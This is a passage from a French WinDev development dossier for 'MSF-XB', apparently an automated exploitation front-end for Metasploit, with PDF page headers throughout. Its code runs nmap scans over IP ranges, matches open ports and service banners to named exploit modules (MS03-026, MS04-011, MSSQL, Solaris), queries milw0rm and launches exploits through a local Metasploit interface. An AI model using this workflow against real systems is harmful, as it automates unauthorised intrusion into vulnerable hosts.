Multitâche(300)//On lit la réponse du serveursSource est une chaîne=CliExplore:sSource()

// VersPressePapier(sSource)

SI ChaîneOccurrence(sSource,"SESSIONS?MODE=LOAD&amp;SID=")>0 ALORSExploitURL="http://127.0.0.1:55555/SESSIONS?MODE=LOAD&amp;SID="+Gauche(ExtraitChaîne(sSource,2,"SESSIONS?MODE=LOAD&SID="),2)ExploitURL=Remplace(ExploitURL,Caract(34),"")

FIN//CliExplore:SetURL(ExploitURL)LanceAppli("firefox "+exploiturl)

Message("Exploit...")

SINONSI Nation()=3 ALORS //ANGLAIS

Error("No known exploit in the database for this")SINON

Erreur("Pas d'exploit connu dans la base pour ça")FIN

FIN

Clic sur FINGERPRINTSI COMBO_IPS..ValeurAffichée<>"" ALORS

WinFingerPrint(COMBO_IPS..ValeurAffichée,"-f -r")FIN

Clic sur GESTION_EXPLOITSOuvre(Fiche_et_table_EXPLOIT_HEADER)

Clic sur GO

Page 168: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 168

SCAN()

//info("fini")

Clic sur IPCCRACKOuvre(IPCmanipulator,COMBO_IPS..ValeurAffichée)

Sortie de IPLANgsStrIPLAN=IPLAN

Sortie de IPWANgsStrIPWAN=IPWAN

Clic sur BTN_SEL ( SCSelecteurFichier )sSel est une chaînesSel = fSélecteur(SAIS_FIC, "Sélectionnez un fichier...", "Tous fichiers (*.*)"+TAB+"*.*", "*", fselOuvre+fselExiste)SI ssel<>"" ALORS

SAIS_FIC = sselMonParent = SAIS_FIC

FIN

//On traite le fichierFichierTempo=SAIS_FICtraite_fichier_nmap()

//On rétabli le fichier tempoFichierTempo="TEMP.TXT"

Sortie de SAIS_FIC ( SCSelecteurFichier )MonParent = SAIS_FIC

Clic sur BTN_SYST_FERMER ( SCSystemButtons )

Clic sur BTN_Syst_Maximize ( SCSystemButtons )

Clic sur BTN_SYST_MINIMIZE ( SCSystemButtons )

Clic sur BTN_UMC ( SCSystemButtons )

Clic sur SEARCH_EXPLOITSI PAS Table1..Vide ALORS

strRecherche is string=VERSION

strRecherche=ExtraitChaîne(strRecherche,1,"ftpd")strRecherche=ExtraitChaîne(strRecherche,1,"smtpd")strRecherche=ExtraitChaîne(strRecherche,1,"pop3d")strRecherche=ExtraitChaîne(strRecherche,1,"imapd")

//Pour milw0rm.comstrRecherche=Remplace(strRecherche,"Microsoft","MS")

SI ChaîneOccurrence(Upper(strRecherche),"WAR-FTPD")>0 ALORSstrRecherche="WAR-FTPD"

FIN

SI strRecherche<>"" ALORSLanceAppliAssociée("http://milw0rm.com/search.php?dong="+strRecherche)

SINONLanceAppliAssociée("http://milw0rm.com/search.php")

FINFIN

Sélection d'une ligne de Table1IF exploits<>"" ALORS

EXPLOITER..Visible=VraiEND

Initialisation de TYPE_SCANMoiMême=3 //NMAP

Sélection d'une ligne de TYPE_SCAN

Page 169: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 170

SELON MoiMêmeCAS "NMAP"

TYPE_SCAN_PARAMETRES="-A -P0"CAS "HPING"

TYPE_SCAN_PARAMETRES=" -r -S -p 12345"CAS "DFIND"

AUTRE CAS

FIN

Initialisation de TYPE_SCAN_PARAMETRESMoiMême="-A -P0"

Page 170: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 171

AutoExploiter Procédures

Procédure locale AttributFichier// Syntaxe ://[ <Résultat> = ] AttributFichier (<Repertoire>, <Nom>, <Change>, <NbFichierTXT>)//// Paramètres :// Repertoire : <indiquez ici le rôle de Repertoire>// Nom : <indiquez ici le rôle de Nom>// Change : <indiquez ici le rôle de Change>// NbFichierTXT : <indiquez ici le rôle de NbFichierTXT>// Valeur de retour :// booléen : // Aucune

// Procédure locale appelée par fListeFichier PROCEDURE AttributFichier(Repertoire, Nom, Change, NbFichierTXT)

// Déclaration de la variableNbFichierLS est un entier

Transfert(&NbFichierLS, NbFichierTXT, 4)NbFichierLS++Transfert(NbFichierTXT, &NbFichierLS, 4)

SI nom<>"Credits.pm" ALORSHLitRecherche(EXPLOIT,NOM_FICHIER,nom)SI PAS H.Trouve ALORS

SI Droite(nom,3)=".pm" ALORSEXPLOIT.NOM_FICHIER=nomEXPLOIT.NOM_FICHIER_MSF3=""

FINSI Droite(Nom,3)=".rb" ALORS

EXPLOIT.NOM_FICHIER=""EXPLOIT.NOM_FICHIER_MSF3=Nom

FINHAjoute(EXPLOIT)

FINFIN

RENVOYER Vrai

Procédure locale ImportIPINDEX

Page 171: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 172

// Syntaxe ://ImportIPINDEX (<Repertoire>, <Nom>, <Change>, <NbFichierTXT>)//// Paramètres :// Repertoire : <indiquez ici le rôle de Repertoire>// Nom : <indiquez ici le rôle de Nom>// Change : <indiquez ici le rôle de Change>// NbFichierTXT : <indiquez ici le rôle de NbFichierTXT>// Valeur de retour :// Aucune// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE ImportIPINDEX(Repertoire, Nom, Change, NbFichierTXT)

NuFic is int=fOuvre(Repertoire+Nom,foLecture)MaLigne is string=fLitLigne(nufic)OnImporte is int=0TANTQUE MaLigne<>EOT

SI ChaîneOccurrence(Upper(MaLigne),"</PRE>")>0 ALORSOnImporte=0

FINSI OnImporte=1 ALORS

//Exemple://211.167.64.16 - 211.167.64.23<TAB>(ENORBUS) FOR ENORBUS TECHNOLOGIES COMPARY; CN

IPINDEX.IP=ExtraitChaîne(MaLigne,1)SI ChaîneOccurrence(Droite(MaLigne,4), ";")>0 ALORS

IPINDEX.LANGUE=NoSpace(Droite(MaLigne,3))SINON

IPINDEX.LANGUE=""FINIPINDEX.DESCRIPTION=Droite(maligne, Taille(MaLigne)-Taille(ExtraitChaîne(MaLigne,1)))

HAjoute(IPINDEX)FINSI ChaîneOccurrence(Upper(MaLigne),"<PRE>")>0 ALORS

OnImporte=1FINmaligne=fLitLigne(nufic)

FINfFerme(NuFic)

Procédure locale ImportIPINDEX2

Page 172: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 173

// Syntaxe ://ImportIPINDEX2 (<Repertoire>, <Nom>, <Change>, <NbFichierTXT>)//// Paramètres :// Repertoire : <indiquez ici le rôle de Repertoire>// Nom : <indiquez ici le rôle de Nom>// Change : <indiquez ici le rôle de Change>// NbFichierTXT : <indiquez ici le rôle de NbFichierTXT>// Valeur de retour :// Aucune// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE ImportIPINDEX2(Repertoire, Nom, Change, NbFichierTXT)EXTERNE NumFicResultat

NuFic is int=fOuvre(Repertoire+Nom,foLecture)MaLigne is string=fLitLigne(NuFic)TANTQUE MaLigne<>EOT

SI ChaîneOccurrence(Upper(MaLigne),"<A HREF")<1 ALORSSI ChaîneOccurrence(maligne,TAB)>0 OU ChaîneOccurrence(maligne,"-")>0 OU ChaîneOccurrence(maligne,"(")>0 ALORS

SI ChaîneOccurrence(MaLigne, "<TITLE>")=0 ET ChaîneOccurrence(MaLigne, "Class A Networks")=0 ET ChaîneOccurrence(MaLigne, "Class B Networks")=0 ET ChaîneOccurrence(MaLigne, "Class C Networks")=0 ALORS

SI maligne<>"<font size=-1>" ET Gauche(maligne,4)<>"<!--" ET Droite(maligne,3)<>"-->" ALORSSI ChaîneOccurrence(MaLigne, "These are allocated")=0 ET ChaîneOccurrence(MaLigne, "no record")=0 ALORS

SI maligne<>"<br><font size=-1>" ET MaLigne<>"" ALORSfEcritLigne(NumFicResultat, Remplace(MaLigne,"<DT>",""))

FINFIN

FINFIN

FINFINMaLigne=fLitLigne(NuFic)

FINfFerme(NuFic)

Procédure locale LECTURE_NMAP// Syntaxe ://LECTURE_NMAP ()

Page 173: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 174

//// Paramètres :// Aucun// Valeur de retour :// Aucune

PROCEDURE LECTURE_NMAP()maligne is string=""maligne2 is string=""IPencours is stringtempOS is stringtempMAC is stringnumfic is int

//*************************************************************************************************************************************************

//On lit le fichier résultat de scan NMAPnumfic=fOuvre("TEMP.TXT",foLecture)maligne=fLitLigne(numfic)TANTQUE maligne<>EOT

//UNE IPSI ChaîneOccurrence(maligne,"are: filtered")>0 ALORS

maligne=ExtraitChaîne(maligne,2,"scanned ports on ")maligne=ExtraitChaîne(maligne,1," are: filtered")SI ChaîneOccurrence(maligne,"(")>0 ALORS

maligne=ExtraitChaîne(maligne,2,"(")maligne=ExtraitChaîne(maligne,1,")")

FINIPencours=maligneSI maligne=COMBO_IPS..ValeurAffichée ALORS

TableAjoute(Table1,"ALL"+TAB+"FILTERED")FIN

FIN

//UNE IPSI ChaîneOccurrence(maligne," are: unknown")>0 ALORS

maligne=ExtraitChaîne(maligne,2,"scanned ports on ")maligne=ExtraitChaîne(maligne,1," are: unknown")SI ChaîneOccurrence(maligne,"(")>0 ALORS

maligne=ExtraitChaîne(maligne,2,"(")maligne=ExtraitChaîne(maligne,1,")")

FINIPencours=maligneSI maligne=COMBO_IPS..ValeurAffichée ALORS

TableAjoute(Table1,"ALL"+TAB+"UNKNOWN")

Page 174: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 175

FINFIN

//UNE IPSI ChaîneOccurrence(maligne,"Interesting ports on")>0 ALORS

maligne=ExtraitChaîne(MaLigne,2,"Interesting ports on")maligne=ExtraitChaîne(MaLigne,1,":")IPencours=maligne

FIN

//INFOS MACSI ChaîneOccurrence(maligne,"MAC Address: ")>0 ALORS

tempmac=ExtraitChaîne(MaLigne,2,"MAC Address: ")FIN

//INFOS OSSI ChaîneOccurrence(maligne,"Running: ")>0 ALORS

tempos=ExtraitChaîne(MaLigne,2,"Running: ")FINSI ChaîneOccurrence(maligne,"OS details:")>0 ALORS

tempos+=ExtraitChaîne(MaLigne,2,"OS details:")FIN

//INFOS PORTSSI ChaîneOccurrence(maligne,"/tcp")>0 ALORS //c'est une ligne de résultat nmap avec des infos sur un port

maligne2=""NbEspaces is int=0cpt is intPOUR cpt=1 A Taille(maligne)

SI Milieu(MaLigne,cpt,1)="/" ALORS//On a stocké le PORTTANTQUE Milieu(MaLigne,cpt,1)<>" " //On avance jusqu'à l'état (ex: open)

cpt++FIN//On évite l'erreur quand 1 seul espace entre le port et l'étatSI Milieu(MaLigne,cpt+1,1)<>" " ALORS

cpt--FIN

SINONSI Milieu(MaLigne,cpt,1)=" " ALORS

NbEspaces++IF NbEspaces<4 ALORS

TANTQUE Milieu(MaLigne,cpt,1)=" "cpt++

FIN//Ce n'est plus un espace

Page 175: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 176

maligne2+=TAB+Milieu(MaLigne,cpt,1)SINON

maligne2+=Milieu(MaLigne,cpt,1) //Espace dans le nom de serviceFIN

SINONmaligne2+=Milieu(MaLigne,cpt,1)

FINFIN

FIN

//***************************************************************************************************************************//On cherche un exploit dans la baseServiceTrouve is string=ExtraitChaîne(maligne2,1,TAB,DepuisFin)

HLitPremier(HEADER,LIBELLE)TANTQUE PAS H.EnDehors

SI Majuscule(HEADER.LIBELLE)=Majuscule(ServiceTrouve) OU ChaîneOccurrence(servicetrouve,HEADER.LIBELLE)>0 ALORSHLitRecherche(EXPLOIT,IDEXPLOIT,HEADER.IDEXPLOIT)maligne2+=TAB+EXPLOIT.NOM_FICHIER+TAB+EXPLOIT.IDEXPLOIT

FINHLitSuivant(HEADER)

FIN

//***************************************************************************************************************************//Ajout des exploits dépendants du PORTSI ExtraitChaîne(maligne2,1,TAB)="111" AND ChaîneOccurrence(Upper(os),"SOLARIS")>0 ALORS

maligne2+=TAB+"solaris_kcms_readfile.pm"maligne2+=TAB+"solaris_sadmind_exec.pm"maligne2+=TAB+"solaris_snmpxdmid.pm"

FINSI ExtraitChaîne(maligne2,1,TAB)="135" ALORS

maligne2+=TAB+"msrpc_dcom_ms03_026.pm"FINSI ExtraitChaîne(maligne2,1,TAB)="139" ALORS

maligne2+=TAB+"lsass_ms04_011.pm"maligne2+=TAB+"ms05_039_pnp.pm"

FINSI ExtraitChaîne(maligne2,1,TAB)="445" ALORS

maligne2+=TAB+"msasn1_ms04_007_killbill.pm"FINSI ExtraitChaîne(maligne2,1,TAB)="1433" ALORS

maligne2+=TAB+"mssql2000_preauthentication.pm"FINSI ExtraitChaîne(maligne2,1,TAB)="1434" ALORS

maligne2+=TAB+"mssql2000_resolution.pm"

Page 176: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 177

FINSI ExtraitChaîne(maligne2,1,TAB)="2103" ALORS

maligne2+=TAB+"msmq_deleteobject_ms05_017.pm"FINSI ExtraitChaîne(maligne2,1,TAB)="6112" ALORS

maligne2+=TAB+"solaris_dtspcd_noir.pm"FIN

//***************************************************************************************************************************//On ajoute la ligne dans la tableSI NoSpace(IPencours)=NoSpace(COMBO_IPS..ValeurAffichée) ALORS

TableAjoute(Table1,maligne2)mac=tempMACos=tempos

FINFIN //si ChaîneOccurrence(maligne,"/tcp")>0

SI NoSpace(IPencours)=NoSpace(COMBO_IPS..ValeurAffichée) ALORSmac=tempMACos=tempos

SINONtempOS=""

FINmaligne=fLitLigne(numfic)

FIN

Procédure locale SCAN// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://SCAN ()//// Paramètres :// Aucun// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//// Procédure automatique :// La procédure est exécutée manuellement, lors d'un appel dans le code// Elle s'exécutera dans un thread (sans avoir besoin d'appeler la fonction ThreadExecute), sans utilisation de Hyper File//

Page 177: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 178

// MaLigne : <indiquez ici le rôle de MaLigne>PROCEDURE SCAN()

TableSupprimeTout(Table1)ListeSupprimeTout(COMBO_IPS)OS=""mac=""

NumFic is int //Utilisé pour la manipulation (lecture/écriture) des fichiersMaLigne is string="" //Utilisée pour construire la ligne du .BAT pour avoir un code + lisibleMaLigne2 is string //Utilisée pour construire les lignes à ajouter dans la table

//*************************************************************************************************************************************************

//On efface le fichier .BAT utilisé pour le scan// BAT_SCAN is string="JA_SCAN.BAT"// fRepCrée(frepencours()+"\TEMP\")// fSupprime(frepencours()+"\TEMP\"+BAT_SCAN)

//On supprime le fichier résultat de scanfSupprime(FichierTempo)

//*************************************************************************************************************************************************

//On créé le fichier .BAT// NumFic=fCrée(frepencours()+"\TEMP\"+BAT_SCAN,foBloqueEcriture)

MaLigne="nmap "MaLigne+=TYPE_SCAN_PARAMETRES+" "

//SI on scan une range entièreSI ip11=ip21 ET ip12=ip22 ET ip13=ip23 ET ip14=1 ET ip24=255 ALORS

MaLigne+=IP11+"."+IP12+"."+IP13+".*" //On utilise *SINON

//SI on scan 1 seule IPSI ip11=ip21 ET ip12=ip22 ET ip13=ip23 ET ip14=ip24 ALORS

MaLigne+=IP11+"."+IP12+"."+IP13+"."+IP14SINON

//Si on scan sur la même range (mais pas entière)SI ip11=ip21 ET ip12=ip22 ET ip13=ip23 ET ip14<>ip24 ALORS

MaLigne+=IP11+"."+IP12+"."+IP13+"."+IP14+"-"+ip24FIN

FIN

Page 178: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 179

FIN

MaLigne+=" >TEMP.TXT" //Fichier de résultat

// fEcritLigne(numfic,MaLigne)// fFerme(numfic)

Message("Scanning...")

//*************************************************************************************************************************************************

//On lance le fichier .BAT// DDELance(caract(34)+frepencours()+"\TEMP\"+BAT_SCAN+caract(34),DDEActif,vrai) //,frepencours()+"\TEMP\")

MyDos:CommandLine_Let(MaLigne)SI PAS fSauveTexte(FichierTempo,MyDos:ExecuteCommand()) ALORS Erreur(ErreurInfo())

//*************************************************************************************************************************************************

//On efface le fichier .BAT utilisé pour le scan// fSupprime(frepencours()+"\TEMP\"+BAT_SCAN)

//*************************************************************************************************************************************************

//On lit le fichier résultatTRAITE_FICHIER_NMAP()

Message("Scan completed")

COMBO_IPS=1GRP_EXPLOITER..Visible=Vrai

//info("Scan completed")

Procédure locale TRAITE_FICHIER_NMAP// Syntaxe ://TRAITE_FICHIER_NMAP ()//// Paramètres :

Page 179: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 180

// Aucun// Valeur de retour :// Aucune// Exemple :// Indiquez ici un exemple d'utilisation.//// FichierTempo : <indiquez ici le rôle de FichierTempo>PROCEDURE TRAITE_FICHIER_NMAP()

//On supprime la table et la combo IPSTableSupprimeTout(Table1)ListeSupprimeTout(COMBO_IPS)

numfic is int=fOuvre(FichierTempo,foLecture)SI NumFic=-1 ALORS

Erreur(FichierTempo+" not found!")RETOUR

FINmaligne is string=fLitLigne(numfic)TANTQUE maligne<>EOT

//UNE IPSI ChaîneOccurrence(maligne,"are: filtered")>0 ALORS

maligne=ExtraitChaîne(maligne,2,"scanned ports on ")maligne=ExtraitChaîne(maligne,1," are: filtered")SI ChaîneOccurrence(maligne,"(")>0 ALORS

maligne=ExtraitChaîne(maligne,2,"(")maligne=ExtraitChaîne(maligne,1,")")

FINListeAjoute(COMBO_IPS,NoSpace(maligne))

FIN

//UNE IPSI ChaîneOccurrence(maligne," are: unknown")>0 ALORS

maligne=ExtraitChaîne(maligne,2,"scanned ports on ")maligne=ExtraitChaîne(maligne,1," are: unknown")SI ChaîneOccurrence(maligne,"(")>0 ALORS

maligne=ExtraitChaîne(maligne,2,"(")maligne=ExtraitChaîne(maligne,1,")")

FINListeAjoute(COMBO_IPS,NoSpace(maligne))

FIN

//UNE IPSI ChaîneOccurrence(maligne,"Interesting ports on")>0 ALORS

maligne=ExtraitChaîne(MaLigne,2,"Interesting ports on")maligne=ExtraitChaîne(MaLigne,1,":")

Page 180: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 181

ListeAjoute(COMBO_IPS,NoSpace(maligne))FIN

//INFOS MACSI ChaîneOccurrence(maligne,"MAC Address: ")>0 ALORS

mac=ExtraitChaîne(MaLigne,2,"MAC Address: ")FIN

//INFOS OSSI ChaîneOccurrence(maligne,"Running: ")>0 ALORS

os=ExtraitChaîne(MaLigne,2,"Running: ")FINSI ChaîneOccurrence(maligne,"OS details:")>0 ALORS

os+=ExtraitChaîne(MaLigne,2,"OS details:")FIN

//INFOS PORTSSI ChaîneOccurrence(maligne,"/tcp")>0 OU ChaîneOccurrence(maligne,"/udp")>0 ALORS//c'est une ligne de résultat nmap avec des infos sur un port

maligne2 is string=""NbEspaces is int=0nbinfo is int=0 //Nombre d'infos trouvées dans 1 ligne (pour éviter erreur d'affichage de l'exploit dans la colonne VERSION)cpt is intPOUR cpt=1 A Taille(maligne)

SI Milieu(MaLigne,cpt,1)="/" ALORS//On a stocké le PORTTANTQUE Milieu(MaLigne,cpt,1)<>" " //On avance jusqu'à l'état (ex: open)

cpt++FIN//On évite l'erreur quand 1 seul espace entre le port et l'étatSI Milieu(MaLigne,cpt+1,1)<>" " ALORS

cpt--FIN

SINONSI Milieu(MaLigne,cpt,1)=" " ALORS

NbEspaces++IF NbEspaces<4 ALORS

TANTQUE Milieu(MaLigne,cpt,1)=" "cpt++

FIN//Ce n'est plus un espacemaligne2+=TAB+Milieu(MaLigne,cpt,1)nbinfo++ //On compte le nombre de TAB dans maligne2

SINONmaligne2+=Milieu(MaLigne,cpt,1) //Espace dans le nom de service

FIN

Page 181: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 182

SINONmaligne2+=Milieu(MaLigne,cpt,1)

FINFIN

FIN

SI nbinfo<3 ALORSmaligne2+=TAB

FIN

//***************************************************************************************************************************//On cherche un exploit dans la baseServiceTrouve is string=ExtraitChaîne(maligne2,1,TAB,DepuisFin)

HLitPremier(HEADER,LIBELLE)TANTQUE PAS H.EnDehors

SI Upper(HEADER.LIBELLE)=Upper(ServiceTrouve) OU ChaîneOccurrence(Upper(servicetrouve),Upper(HEADER.LIBELLE))>0 ALORSHLitRecherche(EXPLOIT,IDEXPLOIT,HEADER.IDEXPLOIT)maligne2+=TAB+EXPLOIT.NOM_FICHIER+TAB+EXPLOIT.IDEXPLOIT

TableAjoute(Table1,maligne2)// TableSelect(Table1, Table1..Occurrence)// ListeAjoute(EXPLOITS, EXPLOIT.NOM_FICHIER)// ListeAjoute(Table1.EXPLOITS, EXPLOIT.NOM_FICHIER)// Table1.EXPLOITS[table1]..Valeur=EXPLOIT.NOM_FICHIER

RETOURFINHLitSuivant(HEADER)

FIN

//***************************************************************************************************************************//Ajout des exploits dépendants du PORTSI ExtraitChaîne(maligne2,1,TAB)="111" AND ChaîneOccurrence(Upper(os),"SOLARIS")>0 ALORS

//On récupère l'ID de l'exploitHLitRecherche(EXPLOIT,NOM_FICHIER,"solaris_kcms_readfile.pm")SI HTrouve ALORS

maligne2+=TAB+"solaris_kcms_readfile.pm"+TAB+EXPLOIT.IDEXPLOIT// maligne2+=tab+"solaris_sadmind_exec.pm" //A VOIR// maligne2+=tab+"solaris_snmpxdmid.pm" //A VOIRFIN

FINSI ExtraitChaîne(maligne2,1,TAB)="135" ALORS

//On récupère l'ID de l'exploitHLitRecherche(EXPLOIT,NOM_FICHIER,"msrpc_dcom_ms03_026.pm")SI HTrouve ALORS

maligne2+=TAB+"msrpc_dcom_ms03_026.pm"+TAB+EXPLOIT.IDEXPLOIT

Page 182: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 183

FINFINSI ExtraitChaîne(maligne2,1,TAB)="139" ALORS

//On récupère l'ID de l'exploitHLitRecherche(EXPLOIT,NOM_FICHIER,"lsass_ms04_011.pm")SI HTrouve ALORS

maligne2+=TAB+"lsass_ms04_011.pm"+TAB+EXPLOIT.IDEXPLOIT// maligne2+=tab+"ms05_039_pnp.pm" //A VOIRFIN

FINSI ExtraitChaîne(maligne2,1,TAB)="445" ALORS

//On récupère l'ID de l'exploitHLitRecherche(EXPLOIT,NOM_FICHIER,"msasn1_ms04_007_killbill.pm")SI HTrouve ALORS

maligne2+=TAB+"msasn1_ms04_007_killbill.pm"+TAB+EXPLOIT.IDEXPLOITFIN

FINSI ExtraitChaîne(maligne2,1,TAB)="1433" ALORS

//On récupère l'ID de l'exploitHLitRecherche(EXPLOIT,NOM_FICHIER,"mssql2000_preauthentication.pm")SI HTrouve ALORS

maligne2+=TAB+"mssql2000_preauthentication.pm"+TAB+EXPLOIT.IDEXPLOITFIN

FINSI ExtraitChaîne(maligne2,1,TAB)="1434" ALORS

//On récupère l'ID de l'exploitHLitRecherche(EXPLOIT,NOM_FICHIER,"mssql2000_resolution.pm")SI HTrouve ALORS

maligne2+=TAB+"mssql2000_resolution.pm"+TAB+EXPLOIT.IDEXPLOITFIN

FINSI ExtraitChaîne(maligne2,1,TAB)="2103" ALORS

//On récupère l'ID de l'exploitHLitRecherche(EXPLOIT,NOM_FICHIER,"msmq_deleteobject_ms05_017.pm")SI HTrouve ALORS

maligne2+=TAB+"msmq_deleteobject_ms05_017.pm"+TAB+EXPLOIT.IDEXPLOITFIN

FINSI ExtraitChaîne(maligne2,1,TAB)="6112" ALORS

//On récupère l'ID de l'exploitHLitRecherche(EXPLOIT,NOM_FICHIER,"solaris_dtspcd_noir.pm")SI HTrouve ALORS

maligne2+=TAB+"solaris_dtspcd_noir.pm"+TAB+EXPLOIT.IDEXPLOITFIN

FIN

Page 183: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 184

//***************************************************************************************************************************//On ajoute la ligne dans la tableTableAjoute(Table1,maligne2)

// TableSelect(Table1, table1..Occurrence)// ListeAjoute(EXPLOITS, EXPLOIT.NOM_FICHIER)

FIN //si ChaîneOccurrence(maligne,"/tcp")>0

maligne=fLitLigne(numfic)FIN

COMBO_IPS=1

Page 184: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 185

Fiche_et_table_EXPLOIT_HEADER Image

Page 185: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 186

Page 186: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 187

Fiche_et_table_EXPLOIT_HEADER Informations générales

Fiche_et_table_EXPLOIT_HEADER

Fichier physique G:\Mes Projets\MSF-XB11\Fiche_et_table_EXPLOIT_HEADER.wdw

Date de création 15/10/2005 16:58:12

Dernière modification par JA-PSI

Date dernière modification 26/10/2008 20:25:57

TitreFR: Fiche et table EXPLOIT-HEADERGB: EXPLOIT-HEADER

Type fenêtre Fenêtre libre

Mode ouverture Centrée par rapport à la mère

Note pour le dossier

FR,GB: FR,GB:

Position X 0 Position Y 0 Largeur 796

Hauteur 503

Visible Barre de titre Menu systèmeIcone réduction Icone agrandissement Icone aide ctx.Barre de message Détourer le fond Mode 9 imagesRedimensionnable Avec grip Grip dans imageDéplace/fond Sauve position Ascenseur auto.Gestion grande police Menu look XP Thème XPCtx. HF indép.

Etat initial ActifClic droitCurseur survol 0

Page 187: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 188

Menu contextuel

Fichier aide ctx.

Opacité 100Type cadre <Aucun>Transparence Vista NonTransparence gérée par Vista Non

Valide auto. 0Bouton auto.Lib. + tps restant NonGroupe MDIPos. X Menu 8Pos. Y Menu 26M.C.U. OuiAnim. Ouverture 0Anim. Fermeture 0Durée Anim. Ouverture 100Durée Anim. Fermeture 50Adapte Taille contenu NonAssombri quand inactif OuiDéplace souris sur bouton par défaut Non

Fichier parcouru 0Rub. parcourue

ImageImage fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Bg_Base.gifIcone G:\Mes Projets\MSF-XB11\Yin Yang.icoImage poignée G:\Mes Projets\MSF-XB11\MediaPlayer_Resize.gif

Page 188: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 189

Statistiques de la fenêtreChamp de saisie 1 Libellé 2

Bouton 20 Image 1

Table 1 Superchamp 1

Option de menu 1 Colonne de table 3

Nombre d'éléments dans la fenêtre : 30

Fiche_et_table_EXPLOIT_HEADER Informations sur les champs

Fenêtre : Fiche_et_table_EXPLOIT_HEADERChamp de saisie

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type saisie Multi Form Mot Saisi Mise NUL Saisi Effac Fin Défil Défil Asc. Asc.

NOM_FICHIER 14 111 300 22 0 Actif Texte

LibelléPosition Position Largeur Hauteur Plan Visib Etat initial Cadrage horz. Cadrage vert. Form Anim

